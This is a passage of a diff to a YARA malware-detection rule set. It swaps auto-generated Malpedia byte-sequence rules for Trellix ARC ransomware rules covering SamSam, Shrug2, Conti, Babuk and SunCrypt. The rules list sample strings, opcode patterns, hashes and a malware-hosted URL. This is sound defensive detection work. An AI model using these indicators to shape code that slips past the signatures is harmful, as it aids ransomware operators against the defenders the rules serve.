-		$sequence_13 = { 7459 68???????? 68???????? e8???????? 83f800 }
-		$sequence_14 = { 8945e4 83f800 0f843c010000 6a00 6a00 ff75ec }
-		$sequence_15 = { e8???????? 50 ff75f4 e8???????? 58 eb02 31c0 }
-		$sequence_16 = { 8a03 3c00 7414 b21a }
-		$sequence_17 = { ff15???????? 33d2 488d4deb 448d426c }
-		$sequence_18 = { ff15???????? 488bce 488bd8 ff15???????? 488364243800 488364243000 }
-		$sequence_19 = { e9???????? 31c0 7402 31c0 50 ff75fc e8???????? }
-		$sequence_20 = { ff9080000000 3bc6 741b 488b4dc7 488b01 }
-		$sequence_21 = { 6804010000 ff75fc 6a00 e8???????? ff75fc }
-		$sequence_22 = { 33d2 ff15???????? 3bc6 745f 4c8d4dcf }
+		$x1 = "Could not list processes locking resource. Failed to get size of result." fullword wide
+		$s2 = "Could not list processes locking resource." fullword wide
+		$s3 = "samsam.del.exe" fullword ascii
+		$s4 = "samsam.exe" fullword wide
+		$s5 = "RM_UNIQUE_PROCESS" fullword ascii
+		$s6 = "KillProcessWithWait" fullword ascii
+		$s7 = "killOpenedProcessTree" fullword ascii
+		$s8 = "RM_PROCESS_INFO" fullword ascii
+		$s9 = "Exception caught in process: {0}" fullword wide
+		$s10 = "Could not begin restart session.  Unable to determine file locker." fullword wide
+		$s11 = "samsam.Properties.Resources.resources" fullword ascii
+		$s12 = "EncryptStringToBytes" fullword ascii
+		$s13 = "recursivegetfiles" fullword ascii
+		$s14 = "RSAEncryptBytes" fullword ascii
+		$s15 = "encryptFile" fullword ascii
+		$s16 = "samsam.Properties.Resources" fullword wide
+		$s17 = "TSSessionId" fullword ascii
+		$s18 = "Could not register resource." fullword wide
+		$s19 = "<recursivegetfiles>b__0" fullword ascii
+		$s20 = "create_from_resource" fullword ascii
+		$op0 = { 96 00 e0 00 29 00 0b 00 34 23 }
+		$op1 = { 96 00 12 04 f9 00 34 00 6c 2c }
+		$op2 = { 72 a5 0a 00 70 a2 06 20 94 }
 
 	condition:
-		7 of them and filesize <229376
+		( uint16(0)==0x5a4d and filesize <700KB and pe.imphash()=="f34d5f2d4577ed6d9ceec516c1f5a744" and (1 of ($x*) and 4 of them ) and all of ($op*)) or ( all of them )
 }
-rule MALPEDIA_Win_Kagent_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Samsam_Ransomware_Latest : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "03cb1012-1d40-5351-bbf3-a59896f7ae1b"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kagent_auto.yar#L1-L128"
-		license_url = "N/A"
-		logic_hash = "0b8f6427b4a4852531dd043f44e54d80aff6015551c819a2c415062a93726e8a"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		description = "Latest SamSA ransomware samples"
+		author = "Christiaan Beek"
+		id = "716b9282-013e-5194-8518-2fa1a4007095"
+		date = "2018-01-23"
+		modified = "2020-08-14"
+		reference = "http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_SamSam.yar#L54-L105"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "88e344977bf6451e15fe202d65471a5f75d22370050fe6ba4dfa2c2d0fae7828"
+		logic_hash = "06703479795fdef64813471f11b275df544c90d5bcece4817d415cd504d7b317"
+		score = 50
+		quality = 68
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/SamSam"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 84c9 75f9 2bc2 888c2474020000 33c9 89442440 66894c2452 }
-		$sequence_1 = { e8???????? 8be5 5d c20400 8d4de8 51 c7434c00000080 }
-		$sequence_2 = { 8b75e8 52 51 e8???????? 8b4508 }
-		$sequence_3 = { c645fc04 884b48 0f90c1 f7d9 0bc8 51 }
-		$sequence_4 = { 8bd0 2bd6 0fb70432 0fb70e 2bc1 }
-		$sequence_5 = { 884608 33c9 b801000000 ba02000000 f7e2 0f90c1 f7d9 }
-		$sequence_6 = { 57 ff15???????? 85c0 7514 83c604 81fe???????? 7cd7 }
-		$sequence_7 = { e8???????? 894624 c6462801 8b4624 33c9 895e20 668908 }
-		$sequence_8 = { 0f858cfcffff 8b542420 8d0411 39442438 8b5378 0f94c1 }
-		$sequence_9 = { 50 e8???????? 83c404 8a45f3 8b4df4 64890d00000000 59 }
+		$s1 = "bedf08175d319a2f879fe720032d11e5" fullword wide
+		$s2 = "ksdghksdghkddgdfgdfgfd" fullword ascii
+		$s3 = "osieyrgvbsgnhkflkstesadfakdhaksjfgyjqqwgjrwgehjgfdjgdffg" fullword ascii
+		$s4 = "5c2d376c976669efaf9cb107f5a83d0c" fullword wide
+		$s5 = "B917754BCFE717EB4F7CE04A5B11A6351EEC5015" fullword ascii
+		$s6 = "f99e47c1d4ccb2b103f5f730f8eb598a" fullword wide
+		$s7 = "d2db284217a6e5596913e2e1a5b2672f" fullword wide
+		$s8 = "0bddb8acd38f6da118f47243af48d8af" fullword wide
+		$s9 = "f73623dcb4f62b0e5b9b4d83e1ee4323" fullword wide
+		$s10 = "916ab48e32e904b8e1b87b7e3ced6d55" fullword wide
+		$s11 = "c6e61622dc51e17195e4df6e359218a2" fullword wide
+		$s12 = "2a9e8d549af13031f6bf7807242ce27f" fullword wide
+		$s13 = "e3208957ad76d2f2e249276410744b29" fullword wide
+		$s14 = "b4d28bbd65da97431f494dd7741bee70" fullword wide
+		$s15 = "81ee346489c272f456f2b17d96365c34" fullword wide
+		$s16 = "94682debc6f156b7e90e0d6dc772734d" fullword wide
+		$s17 = "6943e17a989f11af750ea0441a713b89" fullword wide
+		$s18 = "b1c7e24b315ff9c73a9a89afac5286be" fullword wide
+		$s19 = "90928fd1250435589cc0150849bc0cff" fullword wide
+		$s20 = "67da807268764a7badc4904df351932e" fullword wide
+		$op0 = { 30 01 00 2b 68 79 33 38 68 34 77 65 36 34 74 72 }
+		$op1 = { 01 00 b2 04 00 00 01 00 84 }
+		$op2 = { 68 09 00 00 38 66 00 00 23 55 53 00 a0 6f 00 00 }
 
 	condition:
-		7 of them and filesize <4972544
+		( uint16(0)==0x5a4d and filesize <100KB and pe.imphash()=="f34d5f2d4577ed6d9ceec516c1f5a744" and (8 of them ) and all of ($op*)) or ( all of them )
 }
-rule MALPEDIA_Win_Harnig_Auto : FILE
+rule TRELLIX_ARC_Shrug2_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4db6d1ff-ae88-5c90-aeff-64f63eac36fc"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.harnig_auto.yar#L1-L121"
-		license_url = "N/A"
-		logic_hash = "278559dff9c1abda460af9efb2388b0afb57c006c8438cf3b67adcf26f15e5f4"
+		description = "Rule to detect the Shrug Ransomware"
+		author = "McAfee ATR Team"
+		id = "34e59296-db7c-551b-8d48-ffea20f2b4bb"
+		date = "2018-07-12"
+		modified = "2020-10-12"
+		reference = "https://blogs.quickheal.com/new-net-ransomware-shrug2/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_shrug2.yar#L1-L30"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "c89833833885bafdcfa1c6ee84d7dbcf2389b85d7282a6d5747da22138bd5c59"
+		logic_hash = "8c817b7fc4a0eada08b3d298c94b99a85c4e5a49a49d1c3fabdb0c6bbf56676b"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 20
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Shrug"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { c20800 6a05 ff742408 e8???????? c20400 53 }
-		$sequence_1 = { 8bca 8dbde8fbffff f3ab 8d45f0 50 8d85e8fbffff }
-		$sequence_2 = { ffd0 eb0b 68???????? ff15???????? 8bc8 }
-		$sequence_3 = { 03c1 5e c9 c20800 8b542404 8a0a 33c0 }
-		$sequence_4 = { 0bc6 5e c20800 6a05 }
-		$sequence_5 = { 56 8d85e0fdffff 50 ffd3 8d45e0 50 }
-		$sequence_6 = { 56 57 ba00010000 33c0 8bca 8dbde8f7ffff f3ab }
-		$sequence_7 = { 85c0 746b 8b45f8 68f1cbf7ae }
-		$sequence_8 = { ff5150 8b45fc 8b08 8d9524fdffff 52 8d9590feffff }
-		$sequence_9 = { 8a0a 33c0 84c9 7419 56 8bf0 }
+		$s1 = "C:\\Users\\Gamer\\Desktop\\Shrug2\\ShrugTwo\\ShrugTwo\\obj\\Debug\\ShrugTwo.pdb" fullword ascii
+		$s2 = "http://tempacc11vl.000webhostapp.com/" fullword wide
+		$s3 = "Shortcut for @ShrugDecryptor@.exe" fullword wide
+		$s4 = "C:\\Users\\" fullword wide
+		$s5 = "http://clients3.google.com/generate_204" fullword wide
+		$s6 = "\\Desktop\\@ShrugDecryptor@.lnk" fullword wide
 
 	condition:
-		7 of them and filesize <49152
+		( uint16(0)==0x5a4d and filesize <2000KB) and all of them
 }
-rule MALPEDIA_Win_Poison_Ivy_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Ransom_Conti : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ec8c2f98-412f-543c-9758-b1aacde91b4e"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poison_ivy_auto.yar#L1-L91"
-		license_url = "N/A"
-		logic_hash = "431acfd8496c54390529508a28488eb12118d11f97e2de9a76cce0e819bacb59"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		description = "Conti ransomware is havnig capability too scan and encrypt oover the network"
+		author = "McAfee ATR team"
+		id = "8fc6943d-fb99-5957-929b-4c264d9fba2d"
+		date = "2020-07-09"
+		modified = "2020-10-12"
+		reference = "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/Ransom_Conti.yar#L3-L37"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "eae876886f19ba384f55778634a35a1d975414e83f22f6111e3e792f706301fe"
+		logic_hash = "953471c130309bbc712197d49d2072bd45838f49d2b25f86273a15c6baa87354"
+		score = 75
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Conti"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { ff9681000000 80beaf08000001 7507 b902000080 eb05 }
-		$sequence_1 = { b902000080 eb05 b901000080 8d45fc }
-		$sequence_2 = { 51 ff5635 68ff000000 8d86b1060000 }
-		$sequence_3 = { 50 6a01 6a00 8d86120e0000 50 ff75fc }
-		$sequence_4 = { b901000080 8d45fc 50 683f000f00 6a00 57 51 }
-		$sequence_5 = { 51 57 ff9681000000 8d45fc }
-		$sequence_6 = { 8d86120e0000 50 ff75fc ff563d ff75fc ff5631 }
+		$string1 = "HOW_TO_DECRYPTP" fullword ascii
+		$string2 = "The system is LOCKED." fullword ascii
+		$string3 = "The network is LOCKED." fullword ascii
+		$code1 = { ff b4 b5 48 ff ff ff 53 ff 15 bc b0 41 00 85 c0 }
+		$code2 = { 6a 02 6a 00 6a ff 68 ec fd ff ff ff 76 0c ff 15 }
+		$code3 = { 56 8d 85 38 ff ff ff 50 ff d7 85 c0 0f 84 f2 01 }
 
 	condition:
-		7 of them and filesize <204800
+		uint16(0)==0x5a4d and filesize <300KB and pe.number_of_sections==5 and (pe.imphash()=="30fe3f044289487cddc09bfb16ee1fde" or ( all of them and all of ($code*)))
 }
-rule MALPEDIA_Win_Ldr4_Auto : FILE
+rule TRELLIX_ARC_RANSOM_Babuk_Packed_Feb2021 : RANSOM T1027_005 T1027 T1083 T1082 T1059 T1129 FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ccab43fe-6663-5ab0-9f9d-f8403f8cf5d7"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ldr4"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ldr4_auto.yar#L1-L129"
-		license_url = "N/A"
-		logic_hash = "78a7719e8cf0704f5c76c874cc1f41ecbae742c2d4a4b3ef70df1b0258c1fe71"
+		description = "Rule to detect Babuk Locker packed"
+		author = "McAfee ATR"
+		id = "f5f3a3a6-2531-56c4-9153-b698c7bdc3d3"
+		date = "2021-02-19"
+		modified = "2021-02-24"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Babuk_Packed_Feb2021.yar#L1-L30"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "48e0f7d87fe74a2b61c74f0d32e6a8a5"
+		logic_hash = "f3312b9c9147e9f892dbfb329cb95d3ee3ae67eefeec2d089b8c89fd26531953"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOM, T1027.005, T1027, T1083, T1082, T1059, T1129, FILE"
+		rule_version = "v1"
+		malware_family = "Ransom:Win/Babuk"
+		malware_type = "Ransom"
+		mitre_attack = "T1027.005, T1027, T1083, T1082, T1059, T1129"
 
 	strings:
-		$sequence_0 = { ff750c 0fb745f0 ff7508 50 0fb745ee 50 0fb745ec }
-		$sequence_1 = { c9 c20c00 56 6a2f ff74240c e8???????? 6a3f }
-		$sequence_2 = { 6a00 53 ff15???????? 837df800 0f8528010000 8d45f4 }
-		$sequence_3 = { 53 56 57 8945f8 33c0 33db 6a3e }
-		$sequence_4 = { 7506 6683f901 7723 83c720 66893b eb04 8365fc00 }
-		$sequence_5 = { 8d442410 50 8b442420 358555f261 50 8bc3 e8???????? }
-		$sequence_6 = { ff15???????? 8bf0 85f6 742c 33c9 85db 7622 }
-		$sequence_7 = { 8d8d00feffff 51 e8???????? 85c0 757e }
-		$sequence_8 = { 8d42f8 d1e8 3955fc 7c3e 85c0 }
-		$sequence_9 = { 0f84f1010000 8b3d???????? 50 ffd7 ff750c 8945e8 ffd7 }
+		$first_stage1 = { 81 ec 30 04 00 00 68 6c 49 43 00 ff 15 74 20 43 00 a3 60 4e f8 02 b8 db d9 2b 00 ba c5 62 8e 76 b9 35 11 5f 39 eb 09 8d a4 24 00 00 00 00 8b ff 89 14 24 89 4c 24 04 81 04 24 25 10 a3 3b 81 04 24 cf e0 fb 07 81 04 24 35 26 9f 42 81 04 24 65 2b 39 06 81 04 24 3c 37 33 5b 81 44 24 04 48 4f c2 5d 83 e8 01 c7 05 54 4e f8 02 00 00 00 00 75 bf 8b 0d 54 aa 43 00 53 8b 1d 58 20 43 00 55 8b 2d 60 20 43 00 56 81 c1 01 24 0a 00 57 8b 3d 50 20 43 00 89 0d 64 4e f8 02 33 f6 eb 03 8d 49 00 81 f9 fc 00 00 00 75 08 6a 00 ff 15 40 20 43 00 6a 00 ff d7 8b 0d 64 4e f8 02 81 f9 7c 0e 00 00 75 19 6a 00 ff d3 6a 00 6a 00 8d 44 24 48 50 6a 00 6a 00 ff d5 8b 0d 64 4e f8 02 81 fe e5 84 c1 09 7e 0a 81 7c 24 2c 0f 11 00 00 75 12 46 8b c6 99 83 fa 14 7c aa 7f 07 3d 30 c1 cf c7 72 a1 51 6a 00 ff 15 2c 20 43 00 8b 0d 08 a4 43 00 33 f6 a3 f4 31 f8 02 89 0d f4 07 fb 02 39 35 64 4e f8 02 76 10 8b c6 e8 56 e4 ff ff 46 3b 35 64 4e f8 02 72 f0 8b 35 80 20 43 00 bf f0 72 e9 00 8b ff 81 3d 64 4e f8 02 4d 09 00 00 75 04 6a 00 ff d6 83 ef 01 75 eb e8 d6 e3 ff ff e8 11 fe ff ff e8 0c e4 ff ff 5f 5e 5d 33 c0 5b 81 c4 30 04 00 00 c3 }
+		$first_stage2 = {81ec3??4????68????????ff??????????a3????????b8????????ba????????b9????????eb??891424894c240481????????????81????????????81????????????81????????????81????????????81??????????????83e801c7??????????????????75??8b??????????538b??????????558b??????????5681??????????578b??????????89??????????33f6eb??81??????????75??6a??ff??????????6a??ffd78b??????????81??????????75??6a??ffd36a??6a??8d442448506a??6a??ffd58b??????????81??????????7e??817c242c0f11????75??468bc69983????7c??7f??3d????????72??516a??ff??????????8b??????????33f6a3????????89??????????39??????????76??8bc6e8????????463b??????????72??8b??????????bf????????8bff81??????????????????75??6a??ffd683ef0175??e8????????e8????????e8????????5f5e5d33c05b81c43??4????c3}
+		$first_stage3 = {81ec3??4????68????????ff??????????a3????????b8????????ba????????b9????????[2-6]891424894c240481????????????81????????????81????????????81????????????81????????????81??????????????83e801c7??????????????????[2-6]8b??????????538b??????????558b??????????5681??????????578b??????????89??????????33f6[2-6]81??????????[2-6]6a??ff??????????6a??ffd78b??????????81??????????[2-6]6a??ffd36a??6a??8d442448506a??6a??ffd58b??????????81??????????[2-6]817c242c0f11????[2-6]468bc69983????[2-6][2-6]3d????????[2-6]516a??ff??????????8b??????????33f6a3????????89??????????39??????????[2-6]8bc6e8????????463b??????????[2-6]8b??????????bf????????8bff81??????????????????[2-6]6a??ffd683ef01[2-6]e8????????e8????????e8????????5f5e5d33c05b81c43??4????c3}
+		$first_stage4 = { 81 EC 30 04 00 00 68 6C 49 43 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? B8 DB D9 2B 00 BA C5 62 8E 76 B9 35 11 5F 39 EB ?? 8D A4 24 ?? ?? ?? ?? 8B FF 89 14 24 89 4C 24 ?? 81 04 24 25 10 A3 3B 81 04 24 CF E0 FB 07 81 04 24 35 26 9F 42 81 04 24 65 2B 39 06 81 04 24 3C 37 33 5B 81 44 24 ?? 48 4F C2 5D 83 E8 01 C7 05 ?? ?? ?? ?? 00 00 00 00 75 ?? 8B 0D ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 55 8B 2D ?? ?? ?? ?? 56 81 C1 01 24 0A 00 57 8B 3D ?? ?? ?? ?? 89 0D ?? ?? ?? ?? 33 F6 EB ?? 8D 49 ?? 81 F9 FC 00 00 00 75 ?? 6A 00 FF 15 ?? ?? ?? ?? 6A 00 FF D7 8B 0D ?? ?? ?? ?? 81 F9 7C 0E 00 00 75 ?? 6A 00 FF D3 6A 00 6A 00 8D 44 24 ?? 50 6A 00 6A 00 FF D5 8B 0D ?? ?? ?? ?? 81 FE E5 84 C1 09 7E ?? 81 7C 24 ?? 0F 11 00 00 75 ?? 46 8B C6 99 83 FA 14 7C ?? 7F ?? 3D 30 C1 CF C7 72 ?? 51 6A 00 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 33 F6 A3 ?? ?? ?? ?? 89 0D ?? ?? ?? ?? 39 35 ?? ?? ?? ?? 76 ?? 8B C6 E8 ?? ?? ?? ?? 46 3B 35 ?? ?? ?? ?? 72 ?? 8B 35 ?? ?? ?? ?? BF F0 72 E9 00 8B FF 81 3D ?? ?? ?? ?? 4D 09 00 00 75 ?? 6A 00 FF D6 83 EF 01 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5D 33 C0 5B 81 C4 30 04 00 00 C3}
+		$files_encryption1 = { 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef 02 83 f9 08 72 88 fd f3 a5 fc ff 24 95 20 81 40 00 }
+		$files_encryption2 = {8a4602c1e90288470283ee0283ef0283????72??fdf3a5fcff????????????}
+		$files_encryption3 = { 8A 46 ?? C1 E9 02 88 47 ?? 83 EE 02 83 EF 02 83 F9 08 72 ?? FD F3 A5 FC FF 24 95 ?? ?? ?? ??}
 
 	condition:
-		7 of them and filesize <117760
+		filesize <=300KB and any of ($first_stage*) and any of ($files_encryption*)
 }
-rule MALPEDIA_Win_Disk_Knight_Auto : FILE
+rule TRELLIX_ARC_RANSOM_Suncrypt : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9beebfb6-ef57-52bd-934c-31d9b91ab2bc"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.disk_knight"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.disk_knight_auto.yar#L1-L133"
-		license_url = "N/A"
-		logic_hash = "e89ae24c28bc10924a7fb7bbea0ccafb184ecff432361cc9f981384efa6a4077"
+		description = "Rule to detect SunCrypt ransomware"
+		author = "McAfee ATR Team"
+		id = "92655f3e-f8e4-5c9f-ae3f-0796bd31d660"
+		date = "2020-10-02"
+		modified = "2020-11-02"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Suncrypt.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "9f27c6c5bfe0d01ed517d55687bf699814679488f95ce4942306f09f39e29d85"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransomware:W32/Suncrypt"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+		hash1 = "3090bff3d16b0b150444c3bfb196229ba0ab0b6b826fa306803de0192beddb80"
+		hash2 = "63ba6db8c81c60dd9f1a0c7c4a4c51e2e56883f063509ed7b543ad7651fd8806"
 
 	strings:
-		$sequence_0 = { 897d8c 897d88 ff15???????? 8b1d???????? 8d4dc4 51 }
-		$sequence_1 = { c745f0e01b4000 33c0 8945f4 8945f8 8845e0 6a01 ff15???????? }
-		$sequence_2 = { ff15???????? f7d8 1bc0 23f0 8d45b0 50 8d4dc0 }
-		$sequence_3 = { 8d8d7cffffff 51 56 ff5220 dbe2 85c0 7d0f }
-		$sequence_4 = { 8b4710 8d5594 52 50 8b08 ff9138010000 85c0 }
-		$sequence_5 = { 895004 8b8d48ffffff 894808 8b954cffffff 89500c 8b85e0feffff 8b08 }
-		$sequence_6 = { 3bc8 7d7d 8d9574ffffff 52 6a01 56 e8???????? }
-		$sequence_7 = { ff15???????? 8b3d???????? 83c40c 85f6 0f84d1010000 a1???????? 85c0 }
-		$sequence_8 = { e8???????? 8bf0 ff15???????? 8d54240c 8d8424a0000000 52 50 }
-		$sequence_9 = { 8b45d0 0f80ea060000 69db00010000 99 0f80dd060000 2bc2 899d10ffffff }
+		$pattern = { 77??2F475263????78??58436463????77??7A??5263????78??5846534D5A4678??48475263??????6B??????4D5A4679??7A??5263????78??584C5163????7A??44475264??5778??58526163????30????475264??30????58556463????31????475264??73??6B??????63????32????4752646C73??6B??????38????32??5047526477??6A??5738????68????????41555039????496C46374931????46446F62????414146442F565169????????????5039????466D4A526669??????????64??63????4F6D38????414169??????????586F69??????????33????30????69????????????6F41444141414974??38????41554542516167??2F5665??4478??434A526679??6666????64??63????4F6D444141414169??????????33??69????????????77??33????2F33????2F33????36??49464141434478??7A??64667A??64??7A??64??6A??73??7A??2F34??454449584164??517A??4F74??69??????????5834??5558672F33????2F33????36??6E362F2F39????59584164??517A??4F73??69??????????33??69????????????554B30????69????????????30????5838????5830????5549554974??4446434C525268????????30??39????77??444A77??574C37495073??4D5A4634??62????65??70??6B??????73??4634??54475265??31????586C5963????35????????65????78??586F63????4636??2F47526570??78??5872??63????37475047526531??78??5875??4931????46446F534163????46442F565169????????????66??51616B??????52434C51416A??63????4C5252442F63????2F566679??78??434677??55454D38??????475368????????41496C462B????462B????4E454974??49496C49434974??454974??434974??454974??49414E494B496C4E39????4639????517A??5041514D6E44565976??555974??434974??434974??434974??494474??4E4855464D38????367A??4C525169??????????????6C72??51574466??68????????454D38??????6F74??434974??434974??434974??494374??4E496C4E2F5039??2F4974??435039????4F6A??2B????2F57566E4A77??574C37494873??41414141494E6C6C4143445A6141416733??514148554969??????????30??????44475266??75??6B??????4D5A4638????475266??73??6B??????4D5A4639????475266??6B??????33????5A462B????4752666B??????5867??73??4634??6E475265??79??6B??????4D5A4635????????65??68????????62????4635????????65??????????70??63????366E4C47526574??78??5873??4D5A4630????475264??70??6B??????73??4630??54475264??31????58565963????31????475264????78??585962????4632????47526470??78??5862????5A4633????475262????78??5739????5A4676??54475262??4478??58416463????77??4C475263????78??58445A63????78??37475263????78??5847554D5A4678??4C475263????78??584A5938????79??58475263??????6B??????38????7A??44475261526178??576C64??????70??584752616475??6B??????63????71??4847526170??78??5772??73??4672??6E47526131??????5775??38????72??2F475262????78??5778??38????73??58475262????78??5730??????4674??6E475262????78??5733????5A4675??434E5265??5136??4D46414142512F31????69????????????51554F677A??514141555039????496C466E4931????46446F4977??414146442F565169????????????6152516A??5877??5039????46442F565169????????????52434C514269????????????4932????502F2F2F31??????667A??565A434677??515A67??32????414142414855433677??4C526677??68????????2F2B????667A??31????46454974??434974??454974??4E4474??47484A4D69??????????414969??????????5838????36??6661414164??69??????????????6A??565978??2F31????68????????32????61414177??41434C5252434C514169??????????????74??454974??435039????5039????495045454974??45496C4249476F4561414177??41434C5252434C514169??????????????74??454974??435039????5039????495045454974??45496C42494974??45494E34??414231????74??454974??43476F49575776??42594E38????77??64??474C5252434C514169??????????????534A51534472??476F4561414177??41434C5252434C514169??????????????6F412F31????67??????69??????????456769??????????67????48554636??67??4141434C5252434C51416A??63????4C5252442F63????4C5252442F63????6F30????4141495045444974??454974??434974??454974??43412B??5352534E524167??69????????????38????73??69??????????6C462F4974??454974??43412B??51415935????????4F5774??2F4369??????????????45516130????4B4974??454974??454974??6D414E4D4168????????5838????74??454974??494974??6D414E4D416778??36??59424141434478??7A??73??64??6C4145414141417A??412B????50372F2F34??466C4D6E44565976??555974??434974??434974??45496C49424974??434974??42412B??414431????67??4164??517A??4F73??69??????????414569??????????6B??????67??????554969????????????4969??????????68????????4164??517A?? }
 
 	condition:
-		7 of them and filesize <868352
+		uint16(0)==0x6441 and all of them
 }
-rule MALPEDIA_Win_Cur1_Downloader_Auto : FILE
+rule TRELLIX_ARC_RANSOM_Suncrypt_Decryptor : RANSOMWARE FILE
 {
 	meta:
